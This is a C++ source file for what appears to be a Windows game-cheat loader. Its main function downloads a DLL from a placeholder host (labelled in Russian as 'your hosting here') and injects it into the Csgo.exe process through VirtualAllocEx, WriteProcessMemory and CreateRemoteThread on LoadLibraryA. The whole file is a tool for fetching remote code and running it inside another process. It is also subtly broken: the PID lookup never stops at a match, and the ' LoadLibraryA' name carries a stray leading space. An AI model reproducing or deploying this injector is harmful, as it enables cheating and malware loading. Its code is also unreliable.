#include <iostream>
#include <string>
#include <ctype.h>
#include <Windows.h>
#include <tlhelp32.h>
#include <Shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")
using namespace std;
DWORD GetPID(const char* ProcessName) {
PROCESSENTRY32 processInfo;
processInfo.dwSize = sizeof(processInfo);
HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (processesSnapshot == INVALID_HANDLE_VALUE)
return 0;
Process32First(processesSnapshot, &processInfo);
if (!strcmp(processInfo.szExeFile, ProcessName))
{
CloseHandle(processesSnapshot);
}
while (Process32Next(processesSnapshot, &processInfo))
{
if (!strcmp(processInfo.szExeFile, ProcessName))
{
CloseHandle(processesSnapshot);
}
}
return processInfo.th32ProcessID;
}
bool InjectDLL(const int& pid, const string& DLL_Path)
{
long dll_size = DLL_Path.length() + 1;
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProc == NULL)
{
cerr << " [!]Fail to open target process!" ;
return false;
}
cout << " [+]Opening Target Process..." ;
LPVOID MyAlloc = VirtualAllocEx(hProc, NULL, dll_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (MyAlloc == NULL)
{
cerr << " [!]Fail to allocate memory in Target Process." ;
return false;
}
cout << " [+]Allocating memory in Targer Process." ;
int IsWriteOK = WriteProcessMemory(hProc, MyAlloc, DLL_Path.c_str(), dll_size, 0);
if (IsWriteOK == 0)
{
cerr << " [!]Fail to write in Target Process memory." ;
return false;
}
cout << "[+]Creating Remote Thread in Target Process" ;
DWORD dWord;
LPTHREAD_START_ROUTINE addrLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary("kernel32"), " LoadLibraryA");
HANDLE ThreadReturn = CreateRemoteThread(hProc, NULL, 0, addrLoadLibrary, MyAlloc, 0, &dWord);
if (ThreadReturn == NULL)
{
cerr << " [!]Fail to create Remote Thread" ;
return false;
}
if ((hProc != NULL) && (MyAlloc != NULL) && (IsWriteOK != ERROR_INVALID_HANDLE) && (ThreadReturn != NULL))
{
cout << " [+]DLL Successfully Injected :)" ;
return true;
}
return false;
}
int main()
{
DWORD pid;
URLDownloadToFile(0, "здесь ваш хостинг", "имя длл ", 0, 0);
pid = GetPID("Csgo.exe");
InjectDLL(pid, "имя вашей длл");
}